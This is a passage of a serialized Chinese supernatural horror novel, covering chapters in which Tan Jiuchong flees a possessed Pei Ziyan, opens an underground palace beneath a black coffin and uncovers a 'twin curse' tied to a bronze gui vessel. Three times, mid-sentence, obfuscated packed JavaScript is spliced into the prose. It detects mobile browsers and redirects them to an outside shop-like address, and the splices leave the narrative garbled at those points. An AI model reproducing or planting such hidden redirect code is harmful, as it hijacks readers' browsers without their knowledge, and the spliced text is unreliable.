檀九重犹豫了一下,用手术刀划破指尖,将血滴在镜面上。血液接触铜镜的瞬间,氧化层如潮水般退去,露出光可鉴人的镜面。而镜中映出的不是她的倒影,而是一团蠕动的黑雾,雾中隐约可见两个纠缠的人形! “这是...” “我的魂魄状态。”裴子晏的声音很轻,“准确地说...是‘我们’。” 随着他的话语,镜中黑雾逐渐清晰。两个人形中,一个是二十出头的青年模样,与现在的裴子晏一致;另一个却是穿长衫的民国老者,面容阴鸷,左眼戴着单片眼镜。两人被无数黑丝缠绕,像是共用一个身体。 “镜卜术能显示魂魄的真实年龄。”裴子晏指向镜中老者,“这位...至少九十岁了。” 檀九重想起照片中1943年的记录。如果镜中老人是当年的‘裴子晏’,那么年龄确实对得上... “所以你是..”她声音发紧,“借尸还魂?” 裴子晏摇头:“更复杂。”他指向镜中年轻的那个自己,“我是1986年那个孩子的记忆和人格,加上部分实验体7号的生物组织...和这位老先生的一缕残魂,拼凑出来的‘东西’。” 窗外突然传来玻璃碎裂的声音。福利院方向的天空已经被火光染红,七盏血灯笼在烟雾中排成北斗七星,正向医院飘来! “没时间了。”裴子晏猛地抓住檀九重的手,“学姐必须立刻离开!‘他’要完成最后的转换...” “谁?” “镜子里那位。”裴子晏的左眼开始泛红,“檀教授的老师...也是1943年第一个‘裴子晏’的创造者...” 他的话被一阵剧烈的咳嗽打断。这次吐出的不是黑丝,而是大块的内脏碎片!檀九重扶住他摇摇欲坠的身体,发现他的体温正在急剧下降——几分钟内就从高烧降到低于常温。 “药...”裴子晏艰难地指向床头柜,“银色盒子...” 檀九重找到一个小金属盒,里面是几颗泛着蓝光的药丸。裴子晏吞下两颗,呼吸稍微平稳了些,但瞳孔依然呈现不自然的扩散状态。 “学姐...看这个...”他从病号服口袋掏出一张折叠的纸,“福利院档案室找到的...” 那是一份出生证明的复印件,已经泛黄褪色,但关键信息仍可辨认:“沈胭脂,女,1943年7月7日生...”旁边贴着一张婴儿脚印,脚心位置有个小小的月牙形胎记——与檀九重左手腕的一模一样! “这是...” “你的生物学母亲。”裴子晏的声音带着回声,“也是1943年实验的第一个‘容器’...” 檀九重如遭雷击。她一直以为母亲是普通人,只是早年失踪...如果沈胭脂真是她母亲,那么照片中那个与她长相相同的民国女子... “学姐的胎记...”裴子晏突然抓住她的左手腕,“在接触到1986年档案时...有没有异常?” 檀九重想起之前在县局档案室,翻阅‘裴子晏’死亡记录时手腕确实刺痛了一下。她下意识抚摸胎记,就在这时,丫丫突然冲进病房! “姐姐!快走!”小女孩肚皮上的符文全部亮起红光,“它们来了!” 几乎同时,病房的玻璃全部爆裂,阴冷的风裹挟着灰烬灌入。丫丫挡在门前,瘦小的身体突然膨胀变形,肚皮上的符文脱离皮肤,在空中组成一道屏障。 “裴哥哥...”她回头看了一眼,眼神完全不像个孩子,“这次换我保护你...” 裴子晏脸色大变:“不行!你会——” 丫丫已经冲向窗外的血灯笼,肚皮上的红光与灯笼相连,形成一道血色的桥。她的身体在半空中开始分解,皮肤如纸灰般剥落,露出下面...青铜色的骨骼! “记住...”她的声音从四面八方传来,“裴哥哥当年也是这样救我爸爸的...” 这句话像钥匙打开了记忆的锁。檀九重突然想起父亲笔记中的一段模糊记录:1986年考古队唯一生还的向导,曾看到一个青年从黑棺中救出一个孩子... “那是你?”她震惊地看向裴子晏,“1986年你就已经...” 裴子晏没有回答。他的左眼完全变成了血红色,右手抓起一块碎玻璃,毫不犹豫地刺入自己的大腿!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608119|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “裴子晏!” 鲜血喷涌而出,但诡异的是,血滴在空中突然改变方向,全部飞向那面铜镜。更令人毛骨悚然的是,血液在镜面上自行流动,组成两个字: “快逃” 裴子晏的身体剧烈抽搐起来,左半边脸迅速爬满青筋:“走...啊...”他的声音分裂成两个声调,“他要...出来了...” 檀九重刚要上前,左手腕的胎记突然灼烧般疼痛。她低头看去,胎记竟然在发光,浮现出一串陌生的生辰八字——1943年7月7日!正是沈胭脂的出生日期! 这一分神救了她的命。裴子晏(或者说占据他身体的那个存在)的手擦着她的咽喉划过,指甲在皮肤上留下五道血痕。他的表情完全变了,左眼戴着虚幻的单片眼镜,嘴角挂着与镜中老者一模一样的冷笑。 “沈姑娘...”他的声音苍老得可怕,“好久不见...” 檀九重后退几步,手术刀横在胸前:“你是谁?” “我是谁?”老者大笑,声音在病房里回荡,“我是第一个发现‘门’的人...是檀明远的老师...也是...”他的手抚过裴子晏年轻的脸,“这个漂亮容器的原创者...” 窗外传来震耳欲聋的爆炸声。福利院已经完全被火焰吞噬,七盏血灯笼却完好无损,正向医院飘来。最恐怖的是,每盏灯笼里都映出一张人脸——从孩童到老年,全是‘裴子晏’不同阶段的样子! “1943年的实验太仓促了。”老者叹息道,“好在现在有了更完美的容器...”他突然扑向檀九重,“和你!” 檀九重侧身闪避,手术刀划过老者的手臂。没有血流出,只有黑色丝线从伤口涌出,像活物般缠向她的手腕! 千钧一发之际,裴子晏的右手突然抓住自己的左手,硬生生将身体拽离檀九重:“跑...啊...”他的本音短暂夺回控制权,“找...青铜簋...” 檀九重咬牙冲向门口,回头最后一眼看到裴子晏的身体如提线木偶般扭曲挣扎,老者的咆哮与青年的闷哼交织在一起。而地上那面铜镜中,两个魂魄的争斗已经白热化,黑色丝线将镜面割裂成蛛网状... 走廊里烟雾弥漫。檀九重跌跌撞撞地跑向紧急出口,左手腕的胎记越来越烫。在楼梯转角处,她撞上了阿青和包老三。 “丫丫呢?”包老三满脸是泪。 檀九重无法回答。远处传来玻璃碎裂的声音,七盏血灯笼已经进入医院走廊,所过之处墙壁迅速腐朽。最前面的灯笼里,隐约可见丫丫痛苦的脸... “走!”她拽起两人向楼下冲去,“去千棺葬!” 包老三突然挣脱她的手:“你们走...我留下。”他从怀里掏出一把锈迹斑斑的钥匙,“这是我爹留下的...能打开黑棺下的地宫...” “不行!那些灯笼——” “我闺女在里面。……包老三的眼神变得异常平静,“总得有人...带她回家...” 他将钥匙塞给檀九重,转身冲向血灯笼。阿青想阻拦,却被檀九重拉住——包老三的后颈上,不知何时浮现出与裴子晏相同的符文! “他早就被标记了...”檀九重声音发紧,“我们唯一的机会是找到青铜簋...” 医院的电力系统终于崩溃。在完全陷入黑暗前的最后一秒,檀九重看到自己的影子在墙上分裂成两个——一个保持现在的模样,另一个却是穿民国学生服的女子,正对她伸出手,仿佛在邀请什么... 31. 血月劫 通往千棺葬的山路在血月下蜿蜒如一道伤口。 檀九重握着那把锈迹斑斑的钥匙,指尖被铁锈割破也浑然不觉。阿青跟在身后,手里捧着从医院带出来的铜镜——镜面已经布满裂纹,但偶尔还会闪过诡异的红光。 “檀姐...”阿青声音发抖,“我们真的不等天亮吗?” 檀九重没有回答。她的左手腕胎记灼烧般疼痛,仿佛在呼应天上那轮血月。包老三临别时的话回荡在耳边:“黑棺下的地宫...藏着最初的‘门’...” 山路拐角处突然传来碎石滚落的声音。两人警觉地停下脚步,只见一个瘦小的身影蜷缩在岩石后——是丫丫!或者说,是丫丫的‘一部分’。小女孩半个身体已经透明化,肚皮上的符文暗淡无光,怀里却紧紧抱着一盏完好的血灯笼。 “姐姐...”她的声音像是从很远的地方传来,“裴哥哥...让我等你们...” 檀九重蹲下身,小心地检查丫丫的状态。女孩的皮肤下隐约可见青铜色的骨骼,右眼变成了与裴子晏相似的灰白色。最骇人的是她的胸口——那里有一个铜钱大小的洞,边缘整齐,像是被什么利器精准挖走的。 “他呢?”檀九重轻声问。 丫丫指向山谷方向:“在准备...仪式。”她艰难地举起灯笼,“看...” 灯笼纸上浮现出模糊的画面:裴子晏站在黑棺旁,身边环绕着七盏血灯笼。他的左臂已经完全干枯,右眼则变成了血红色,正用骨刀在地上刻画复杂的符文。 “他在做什么?”阿青惊恐地问。 “完成...1986年中断的事。”丫丫的身体又透明了几分,“裴哥哥说...必须在血月最盛时...关上‘门’...” 檀九重突然明白了什么:“他要牺牲自己?” 丫丫没有直接回答,而是指向檀九重的左手腕:“姐姐的胎记...是最后的钥匙...” 胎记此刻已经红得发亮,隐约浮现出一串数字:19430707。沈胭脂的出生日期,也是...第一个实验开始的日期? 没时间多想了。檀九重抱起丫丫(轻得像一团雾气),向山谷疾奔而去。阿青紧随其后,铜镜在她手中嗡嗡震动,仿佛有生命般想要挣脱。 千棺葬的景象比白天更加骇人。数百口悬棺全部自行打开,棺盖以不可能的角度悬在半空。每具棺木下方都漂浮着一盏血灯笼,将山谷映得如同血海。而最中央的黑棺周围,七盏更大的灯笼排列成北斗七星,裴子晏就站在‘天枢’位,背对着她们。 “裴子晏!”檀九重大喊。 青年缓缓转身。月光下,他的脸一半年轻俊朗,一半干枯如尸,两只眼睛呈现完全不同的状态——右眼是熟悉的灰白,左眼则是血红的竖瞳。更恐怖的是,他的影子分裂成三个:一个是本体,一个是穿长衫的老者,还有一个...是无面孩童! “学姐不该来的。”他的声音带着回声,像是多人同时说话,“最后的机会...走...” 檀九重刚要上前,所有的血灯笼突然同时自燃!火焰不是常见的橙红色,而是一种诡异的青白,火中浮现出模糊的画面——1986年7月7日,考古队七人跪在黑棺周围,为首的正是年轻时的父亲!他们跪拜的对象是... 一个穿红肚兜的无面孩童,悬浮在黑棺上方,肚皮上刻着与丫丫相同的符文! “那是...债童子?”阿青颤抖着问。 画面突然变换。孩童被强行塞入黑棺,而父亲从怀中抱出一个奄奄一息的男孩——右手腕有月牙胎记,正是五岁的裴子晏!男孩被放在黑棺上,腹部被切开,取出某样东西放入棺中... “不...准...看...”裴子晏的声音突然变得扭曲。他的身体如提线木偶般抽搐起来,左半边脸迅速爬满青筋,“阿月...走啊...” 檀九重反而上前一步:“你刚才叫我什么?” 这个称呼似乎触发了什么。裴子晏的瞳孔骤然收缩,下一秒,他以不可思议的速度扑向檀九重,枯爪般的手指掐住她的脖子! “学姐!”阿青尖叫着冲上来,却被无形的力量弹开。 檀九重挣扎着抓住裴子晏的手腕,却惊骇地发现他的指甲正在变黑变长,皮肤下浮现出青铜色的纹路——就像...正在变成那具黑棺的材质! “沈...胭...脂...”裴子晏的口中吐出老者的声音,“这次...你逃不掉了...” 氧气迅速耗尽。就在檀九重意识开始模糊时,一滴血从她被抓破的脖颈流下,恰好滴在裴子晏唇边。 刹那间,裴子晏像被烙铁烫到般松手,踉跄后退:“学...姐...”他的本音短暂回归,“快...走...”随后猛地用头撞向黑棺,发出令人牙酸的闷响! 黑棺被撞开的瞬间,一股腐朽的气息喷涌而出。檀九重趴在地上咳嗽,余光看到棺中景象——里面不是尸体,而是一个青铜祭台,台上放着个小小的、锈迹斑斑的青铜簋,样式与她工作室地下室的完全一致! “丫丫...镜子...”檀九重艰难地喊道。 阿青立刻会意,将铜镜对准黑棺。镜面虽然裂纹密布,但仍能照出棺中景象——青铜簋中盛满黑色液体,液体里漂浮着七枚铜钱,每枚钱孔中都穿着一根黑线,延伸向不同方向。而最中央的那枚...正是裴子晏心口缝着的那种‘乾隆通宝’! “学姐...钥匙...”裴子晏的声音从牙缝中挤出,他正与体内的另一个存在激烈斗争,“打开...地宫...” 檀九重挣扎着爬起来,掏出包老三给的钥匙。但地宫的入口在哪里?她环顾四周,突然注意到黑棺底部有个不起眼的锁孔,形状与钥匙吻合。 就在她弯腰准备开锁时,裴子晏再次失控。这次他的攻击更加狂暴,直接将她扑倒在地,枯爪刺向她的眼睛!檀九重勉强偏头躲过,脸颊被划出三道血痕。 “你不是裴子晏!”她怒吼道,同时膝盖猛击对方腹部。 这一击正中铜钱位置。裴子晏发出一声非人的嚎叫,心口渗出黑色液体。他踉跄后退时,右手无意识地在地上抓挠,留下五道深深的血痕——血中混着青铜锈迹,在月光下泛着诡异的光。 “檀姐!”阿青突然大喊,“看天上!” 血月此刻达到了最亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645922|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程度,月光如实质般倾泻而下,在黑棺周围形成七道光柱。每道光柱中都浮现出一个模糊的身影——从孩童到青年,全是不同年龄段的‘裴子晏’!而最矮小的那个身影,穿着80年代的童装,正向中央的裴子晏深深鞠躬... 这一幕太过诡异,连占据裴子晏身体的老者都短暂失神。檀九重抓住机会,一个翻滚来到黑棺前,将钥匙插入锁孔! 钥匙转动的刹那,整个山谷震动起来。黑棺下方的地面裂开,露出一个向下的石阶。与此同时,所有血灯笼同时熄灭,只剩下七盏主灯笼还在燃烧。 “不...可...以...”裴子晏(或者说老者)发出愤怒的咆哮,“百年...大计...” 檀九重刚要冲下地宫,突然被一股无形力量拽住脚踝。裴子晏隔空控制着黑线般的影子,将她拖向自己。他的表情已经完全扭曲,左眼凸出,嘴角咧到耳根,露出不属于人类的尖牙! “学姐...杀了我...”裴子晏的本音如风中残烛,“用...青铜匕首...刺铜钱...” 檀九重摸向腰间,却发现匕首不知何时已经掉落在地。就在这千钧一发之际,丫丫残存的身影突然扑向裴子晏,将手中的灯笼按在他心口! “裴哥哥...这次换我...”小女孩的声音越来越弱,“就像...当年你救我爸爸...” 灯笼炸裂,青白色的火焰瞬间吞没了裴子晏的上半身。他发出双重音调的惨叫,同时老者的咒骂和裴子晏本音的痛苦呻吟交织在一起。火焰中,隐约可见两个纠缠的灵魂正在分离! 趁这机会,檀九重抓起青铜匕首冲向地宫入口。就在她即将踏入的前一刻,背后传来裴子晏撕心裂肺的呼喊: “九重!那年...韭菜饺子...是你妈妈做的!” 这个信息像闪电劈开迷雾。檀九重五岁前的记忆碎片突然串联起来——母亲站在厨房包饺子,父亲带着个瘦弱男孩回家,男孩右手腕有月牙胎记...而那天之后,母亲就‘失踪’了,父亲说她回娘家了... 她回头最后看了一眼。火焰中的裴子晏已经恢复本来面貌,只是更加憔悴苍老。他对她做了个口型:“活下去”,然后转身扑向试图追来的老者灵魂,两人一同坠入黑棺下的深渊... “裴子晏!” 檀九重要冲回去,却被阿青死死抱住:“檀姐!地宫要关了!” 确实,裂缝正在以肉眼可见的速度合拢。檀九重咬牙拉起阿青,在最后一刻跳入地宫。下落的过程中,她的左手腕胎记突然爆发刺目的红光,照亮了地宫墙壁上的壁画—— 第一幅:1943年,穿长衫的老者将穿学生服的沈胭脂绑在祭台上... 第二幅:1986年,父亲将五岁的裴子晏放入黑棺... 第三幅:2023年,一个女子将铜钱刺入某个人的心脏... 最后一幅画前有个空缺,似乎等待着什么来补全。 檀九重重重摔在地宫底部。在陷入昏迷前的最后一刻,她看到角落里蜷缩着一个熟悉的身影——十五岁模样的裴子晏,被铁链锁在青铜簋中,而父亲手持利刀站在旁边... 32. 失踪夜 地宫的阴冷渗入骨髓。 檀九重从昏迷中醒来,发现自己躺在石室角落,阿青正用湿布擦拭她额头的伤口。四周墙壁上的壁画在荧光棒照射下泛着诡异的光,那些1943年、1986年的场景仿佛随时会活过来。 “多久了?”她哑着嗓子问。 “六个小时。”阿青扶她坐起来,“血月已经退了,但上面...”她指了指头顶,“那些悬棺全部闭合了,像什么都没发生过一样。” 檀九重摸向左手腕,胎记依然发烫,但不再发光。她想起坠入地宫前看到的最后一幕——裴子晏与老者灵魂一同坠入黑棺下的深渊... “找出口。”她强撑着站起来,“裴子晏可能...” 话没说完,石室突然震动起来。壁画上的颜料开始剥落,露出下面隐藏的文字——是满文与汉文对照的记载,标题赫然是《双生咒仪轨》! “《辽史》里提到过的秘术!”阿青惊呼,“我看过爷爷的笔记,说这是萨满教最邪恶的法术之一...” 檀九重快速浏览文字内容,胃部逐渐发冷。所谓"双生咒",是将死者的因果转移到活人身上的禁术。施术者需找到命格相合的两人,每月月圆时让活人饮下死者的血,持续七年,最终活人将完全继承死者的命运、记忆甚至...外貌。 文末特别标注:“活人承死人因果,需以青铜为媒,血肉为引,缺一不可。” “青铜为媒...”檀九重想起裴子晏心口的铜钱和体内的青铜碎片,“血肉为引...难道是指...” 阿青已经翻到下一页:“这里有个名单!” 泛黄的羊皮纸上记录着七组名字,每组都是一活一死两个人。最后一组写着:“沈胭脂(活)与...后面的字被污迹盖住了。”日期是1943年7月7日。 而倒数第二组赫然是:“檀九重(活)与裴子晏(死)”,日期是1993年7月7日——她的五岁生日! “这不可能...”檀九重声音发抖,“1993年裴子晏应该已经...” “死了七年了。”阿青接上她的话,“但如果‘双生咒’已经生效,那么现在的裴子晏其实是...” “承载着当年那个孩子因果的...存在。”檀九重想起裴子晏体内两个魂魄的争斗,一切突然有了可怖的解释。 石室再次震动,这次更剧烈。一块石板从顶部砸下,差点砸中阿青。檀九重拽着她冲向出口,却在拐角处撞上一个人影——是包老三!只是现在的他看起来老了二十岁,皮肤上布满黑色纹路,像是被什么东西从内部腐蚀了。 “丫丫...完成了使命...”他声音嘶哑,“现在...轮到我...” 他从怀里掏出一把锈迹斑斑的考古刷,递给檀九重:“你父亲...当年用的...能打开最后的门...” 檀九重接过考古刷,发现刷毛上沾着干涸的血迹。包老三突然剧烈咳嗽起来,吐出的不是血,而是一团团黑色丝线——和裴子晏一模一样! “1986年...”他艰难地说,“考古队带回的不是文物...是两个活童子...一个穿红肚兜...一个穿蓝布衫...” 话音刚落,他的身体突然坍塌下去,像被抽走骨架的皮囊。黑色丝线从七窍涌出,在空中组成一个箭头形状,指向地宫深处。 “跟上去!”檀九重拉着阿青追向黑丝。 黑丝引导她们来到一间圆形石室,中央是个青铜祭台,台上放着个小小的青铜簋——与黑棺中那个一模一样,只是更加古老。簋边刻着一行小字:“双子归一,轮回终止。” 檀九重小心地用考古刷清理簋沿,刷毛接触青铜的瞬间,簋盖自动弹开。里面是半凝固的黑色液体,浸泡着两枚铜钱——一枚‘乾隆通宝’,一枚‘道光通宝’。铜钱下方压着一张泛黄的纸条,上面是父亲的笔迹: “九重,当你看到这个时,我已无法回头。记住,真正的‘门’从来不在青铜簋里,而在你左手腕上。月牙缺,则轮回续;月牙圆,则因果断。父字。” 檀九重下意识抚摸左手腕的胎记。月牙形状...难道这个胎记就是所谓的‘门’?父亲的意思是...她才是轮回的关键? 阿青突然尖叫一声。铜镜从她包里自行飞出,悬浮在半空,镜面虽然布满裂纹,却清晰地映出两个人影——一个是现在的檀九重,另一个是穿民国学生服的沈胭脂!两人手腕上的月牙胎记同时发光,在镜中连成完整的圆形。 “月牙圆...则因果断...”檀九重喃喃重复父亲的话。 镜中的沈胭脂突然开口,声音像是从很远的地方传来:“阿月...找到另一个童子...红与蓝...合则生,分则死...” 画面切换成黑棺内部的景象:裴子晏蜷缩在角落,身体半透明化,心口的铜钱已经脱落,露出下面跳动的青铜机械结构。而在他对面,站着一个穿红肚兜的无面孩童,正缓缓向他伸出手... “裴子晏还活着!”檀九重冲向铜镜,却被一道无形的屏障弹开。 “时间不多了...”沈胭脂的声音越来越弱,“血月之后...第七日...最后的仪式...” 铜镜啪地掉在地上,裂纹更多了。阿青颤抖着捡起来:“檀姐...我们得回到地面上...” 顺着黑丝指引,她们找到了一条向上的狭窄通道。爬出地面时,东方已经泛白。千棺葬的景象令人毛骨悚然——所有悬棺全部闭合,棺木上的符文却全部消失了,像是被某种力量抹去。而中央的黑棺...不翼而飞! “找裴子晏最后停留的地方。”檀九重从包里取出荧光喷雾,“也许有线索。” 他们在黑棺原址周围喷洒荧光试剂,地面上逐渐显现出凌乱的脚印。除了她和阿青的,最清晰的是裴子晏的,但诡异的是...脚印走到某处突然变成了儿童的大小!更令人不安的是,那里有两组不同的儿童足迹——一组较深,像是实体;另一组浅得几乎透明,像是幽灵留下的。 “两个童子...”檀九重想起包老三的遗言,“红与蓝...” 阿青突然指向远处:“檀姐!有人!” 一个佝偻身影站在山谷入口,看装束像是当地牧民。檀九重警觉地靠近,发现是个满脸皱纹的老人,眼睛浑浊得几乎全白。 “老向导...”老人用沙哑的声音说,“86年...带他们进山的...” 檀九重心跳加速:“您认识我父亲?檀明远?” 老人咧嘴笑了,露出仅剩的三颗牙齿:“檀医生...带着两个童子进山...只带回来一个...”他指了指檀九重左手腕,“他说...缺的那一半...在女儿身上...” “什么意思?” 老人不答,从怀里掏出个布包扔在地上:“那晚...我偷偷留的...”说完转身就走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688516|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步伐快得不似老人。 布包里是一撮头发和几张发黄的照片。头发明显分属两人——一部分乌黑粗硬,另一部分细软泛黄。檀九重小心收好准备回去做DNA检测。 照片则是1986年考古队的合影,但比官方档案里的多出两个人:父亲身边站着个穿红肚兜的无面孩童,而最后排...是五岁的裴子晏,穿着蓝色布衫,右手腕的月牙胎记清晰可见! 照片背面写着:“双童引路,七星归位。丙寅年七月初七。” 回到临时营地,檀九重开始整理线索。她用便携显微镜观察那撮头发,发现一个骇人的事实——粗硬的黑发与裴子晏现在的发质一致,而细软泛黄的部分...检测显示至少有三四十年历史! “这不可能...”她反复核对检测结果,“除非...” “除非部分头发真的来自1986年的裴子晏。”阿青接上她的话,“就像...他体内同时存在两个时间线的组织?” 檀九重想起医院拍的X光片,裴子晏体内的青铜碎片确实与1986年尸检报告记载的一致。如果头发也是这样... 她拿出罗盘,试图定位裴子晏可能的位置。但指针不停旋转后,竟稳稳指向她的胸口!更诡异的是,盘面上的符文自动重组,浮现出一行小字:“命格残缺需阴魂补”。 “什么意思?”阿青困惑地问。 檀九重想起父亲纸条上的话:“月牙缺,则轮回续...”她拉起袖子,左手腕的胎记确实是个不完整的月牙,两端没有闭合。 “如果我是‘缺的那一半’...”她突然有了个可怕的想法,“那么裴子晏就是用来‘补全’我的阴魂?” 阿青倒吸一口冷气:“所以‘双生咒’其实是...用他的命补你的命?” 檀九重想起从小到大那些她奇迹般躲过的灾祸,每次事后都能在附近找到厌胜钱...如果每次都是裴子晏在替她承受伤害... “不对...”她摇头,“1993年的记录显示我是‘活人’,裴子晏是‘死人’...但如果他已经死了,现在这个又是...” 思绪被帐篷外的响动打断。两人警觉地拿起武器,却发现是那只一直跟着他们的乌鸦。它脚上绑着个小竹筒,里面是一张字迹潦草的纸条: “学姐,当你看到这个时,我已经不在了。别找我,去找沈胭脂的镜子。记住,真正的危险从来不是青铜簋里的东西,而是镜子外的‘你’。永远是你的,子晏。” 纸条背面画着个简易地图,标注着某个山村的位置。最下方还有一行小字:“PS:韭菜饺子是沈阿姨教的配方,她总爱放太多盐。” 檀九重的手微微发抖。这个细节太过私密——她确实记得母亲做菜总爱多放盐,父亲常为此抱怨。但这件事她从未对任何人提起过,包括裴子晏... 除非...他真的认识她母亲? 阿青突然指着纸条:“看!字迹在变淡!” 确实,纸条上的墨迹正逐渐消失,最后只剩下地图还勉强可见。而更诡异的是,当字迹完全消失后,纸条背面浮现出一个淡淡的指纹——在紫外灯下比对,与檀九重左手拇指完全一致! “这是我写的?”檀九重彻底困惑了,“但我不记得...” 帐篷外突然刮起一阵怪风,吹灭了所有光源。在黑暗降临前的最后一秒,檀九重看到镜中的自己...对她眨了眨右眼。 33. 青铜忆 纸条上的地图指向一个叫‘青岩坳’的废弃村落。 檀九重将青铜簋碎片小心包好,与阿青驱车前往。车窗外,内蒙古的草原逐渐被崎岖的山地取代。后视镜里,她的倒影偶尔会模糊一瞬,像是信号不良的电视画面。 “檀姐...”阿青欲言又止,“从地宫出来后,你的胎记...” 檀九重拉起袖子。左手腕的月牙胎记确实发生了变化——两端延伸出细小的红线,像是要闭合成一个完整的圆。最诡异的是,红线周围浮现出细小的符文,与青铜簋上的纹路一模一样。 “月牙圆,则因果断...”她想起父亲的留言,“但闭合后会发生什么?” 青岩坳比想象中更荒凉。几十间土坯房大半坍塌,唯一完好的建筑是村口的祠堂,门楣上挂着面残破的铜镜——与阿青带着的那面如出一辙。 “就是这里。”檀九重停下车,“裴子晏纸条上说的‘沈胭脂的镜子’...” 祠堂内灰尘密布,供桌上摆着个古老的青铜簋,样式与他们从地宫带出的碎片完全一致。簋身布满裂纹,但整体保存完好,内壁刻满密密麻麻的文字。 檀九重戴上手套,小心地检查簋身。当她的手指触碰到一处裂纹时,突然如遭电击——裂纹下隐约透出暗红色的光!她迅速取出便携显微镜,对准发光处。 “阿青...看这个...” 显微镜下,簋壁的‘铭文’根本不是传统文字,而是由无数个‘裴子晏’签名组成!更骇人的是,这些签名明显出自不同人之手——有的稚嫩如孩童,有的老练如成人,还有的已经扭曲变形,像是垂死之人所写... “这不可能...”阿青声音发抖,“除非...” “除非每个签名都代表一个‘裴子晏’。”檀九重接过她的话,“就像...某种传承?” 她从包里取出地宫带回的青铜簋碎片,尝试拼接到祠堂簋的缺损处。碎片边缘刚一接触,整个簋就发出低沉的嗡鸣,内壁的文字如活物般蠕动重组,浮现出新的内容: “双子咒成,七世轮回。每甲子一替,每替必双。” 阿青突然指着簋耳:“这里有个隐藏的机关!” 确实,左侧簋耳底部有个几乎不可察的凸起。檀九重轻轻按下,簋底弹开一个暗格,里面是几张发黄的照片和一小块皮革样的物质。 照片是1986年在千棺葬拍的,父亲站在黑棺旁,身边是穿红肚兜的无面孩童和...两个穿蓝布衫的男孩!两人长相一模一样,右手腕都有月牙胎记,唯一的区别是一个左眼灰白,一个右眼灰白。 照片背面写着:“双生子晏,左为阳,右为阴。取阳补缺,阴者镇棺。” “双胞胎?!”阿青惊呼,“所以裴子晏其实有两个人?” 檀九重胃部翻涌。她想起幻境中看到的场景——父亲将一对双胞胎中的一个推入火坑...如果活下来的是‘阳’,那么被牺牲的‘阴’去了哪里? 那块皮革样的物质在紫外灯下显现出文字。是父亲的手迹: “九重,若你看到这个,说明‘阴子晏’已苏醒。记住,镜子里的不是真相,铜钱下的才是。毁掉青铜簋,轮回可破;保留它,则记忆永存。选择在你。” “什么意思...”阿青困惑地问,“什么叫‘记忆永存’?” 檀九重没有回答。她取出便携式碳14检测仪,对准青铜簋主体和修补处分别测试。结果令人毛骨悚然——簋体确实是辽代文物,但修补处的材料...来自1986年左右!这与他们在地宫发现的线索完全吻合。 “学姐打算怎么做?”阿青问,“毁掉还是...” 檀九重的手悬在青铜簋上方。父亲给了她选择,但没说明每种选择的后果。如果毁掉簋能打破轮回,为什么还要给她保留的选项? “先试试能不能提取更多信息。”她取出考古用的硅胶,准备拓印簋内文字。 就在她的手指碰到右侧簋耳的瞬间,世界突然天旋地转。祠堂的墙壁如蜡般融化,眼前的景象扭曲重组,最终定格在一个阴森的夜晚——年轻的父亲站在某个类似祭坛的石台前,身边是两个穿蓝布衫的男孩。 “记住,”父亲的声音冰冷得不似人声,“只有一个能活下来。” 两个男孩颤抖着抱在一起。左边的那个左眼灰白,右边的右眼灰白。他们长得一模一样,连恐惧的表情都如出一辙。 “九重...姐姐...”右眼灰白的男孩突然抬头,直视虚空中的檀九重,“救救我...” 檀九重如遭雷击。她分明是独生女,哪来的弟弟?而且这个男孩怎么知道她的名字? 父亲粗暴地拽开两个孩子,将右眼灰白的那个推向石台中央的火坑。男孩挣扎着回头,那一刻檀九重几乎窒息——他的脸竟然是裴子晏与她面容的叠加! “不要——!” 幻象突然消散。檀九重跌坐在地,冷汗浸透后背。阿青焦急地扶住她:“檀姐!你刚才...整个人像被冻住了,连呼吸都没有!” 檀九重看向青铜簋,右侧簋耳上残留着一点她的血迹。血珠正沿着纹路渗入簋内,所过之处浮现出新的文字: “血引记忆,魂归本位。” “这簋...是记忆容器。”檀九重声音嘶哑,“储存着所有‘裴子晏’的记忆...” 阿青突然指向簋内:“快看!” 血滴汇入簋底,形成一个小小的漩涡。漩涡中浮起一张微缩照片——五岁的檀九重站在医院病床边,床上躺着个右腕有胎记的男孩,两人中间摆着一盘...韭菜饺子。 照片背面写着:“1993年7月7日,第一次记忆移植成功。” 檀九重的手不受控制地发抖。她完全不记得这张照片中的场景,但如果拍摄日期是真的,那正是她五岁生日,也是父亲笔记中记载的‘双子咒成’之日! “阿青...”她艰难地问,“你相信人的记忆会被篡改吗?” 阿青还没回答,祠堂的门突然被风吹开。一个佝偻的身影站在门口,逆光中只能看出是个老妇人,手里提着盏血红色的灯笼。 “沈...沈胭脂?”檀九重试探地问。 